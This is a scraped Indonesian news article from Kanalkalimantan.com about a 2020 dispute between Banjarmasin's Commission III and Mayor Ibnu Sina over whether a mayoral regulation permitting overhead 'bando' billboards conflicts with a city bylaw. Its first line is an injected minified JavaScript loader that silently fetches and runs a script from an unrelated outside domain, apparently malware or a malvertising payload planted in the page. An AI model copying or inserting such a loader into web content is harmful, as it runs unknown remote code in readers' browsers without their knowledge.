(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Komisi III DPRD Kota Banjarmasin menyoroti adanya perbedaan antara Perda Nomor 16 Tahun 2014 dengan Perwali Nomor 23 Tahun 2016 yang mengatur soal reklame bando. Ketua Komisi III DPRD Kota Banjarmasin M. Isnaini pun mempertanyakan isi Perwali yang masih memperbolehkan reklame bando.
Namun, saat dikonfirmasi usai rapat paripurna DPRD Kota Banjarmasin pada Rabu (1/7/2020) sore, Wali Kota Banjarmasin H. Ibnu Sina pun angkat bicara. Ia mengklaim, sudah mempertanyakan dengan Bagian Hukum Setdako Banjarmasin beberapa waktu lalu.
“Terkait dengan (isi) Perda itu, tidak ada yang bertentangan. Kalau dengan Permen PU Nomor 20 Tahun 2010 tidak ada pertentangan,” kata Ibnu.
Ibnu menggarisbawahi, reklame bando yang diperbolehkan sesuai dengan isi Perda hanyalah yang berada di lapangan terbuka. Sementara, jika melintang di atas jalan raya sudah tidak diperbolehkan.
Ia menegaskan, antara Perwali dengan Perda memang tidak diperbolehkan ada perbedaan, apalagi pertentangan. Kecuali, di dalam Perwali itu mencoba menjelaskan hal-hal teknis yang tidak tercantum di Perda.
“Silakan di-cross check lagi dengan Bagian Hukum kita, karena legal drafting-nya kan di sana, yang bisa menafsirkan dan menjelaskan terkait dengan pasal-pasal. Karena yang membuat Perwali juga Bagian Hukum,” lugas Ibnu.
Jika memang antara Perda dan Perwali terdapat pertentangan, Ibnu berkata bisa saja Perwali yang dimaksud dicabut. “Kalau Perda, harus dengan Dewan,” singkat Ibnu.
Seperti diketahui, Ketua Komisi III M. Isnaini mengatakan, berdasarkan Permen PU Nomor 20 Tahun 2010 memang melarang keberadaan reklame bando. Begitu pula di Perda Nomor 16 Tahun 2014 yang juga melarang adanya reklame bando. “Cuma yang menjadi heran, bahwa di Perwali Nomor 23 Tahun 2016 pasal 7 huruf c justru memperbolehkan tentang keberadaan bando yang berada di jalan,” kata Isnaini.
Sehingga, kata politisi dari Fraksi Gerindra ini, harus ada duduk bersama terkait keberadaan reklame bando itu. Karena di Perwali yang seharusnya menjelaskan secara rinci isi Perda, justru memperbolehkan adanya bando reklame, atau adanya pertentangan.
“Sifat dari dua (payung hukum) ini saya kira harus diselesaikan,” tegas Isnaini. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.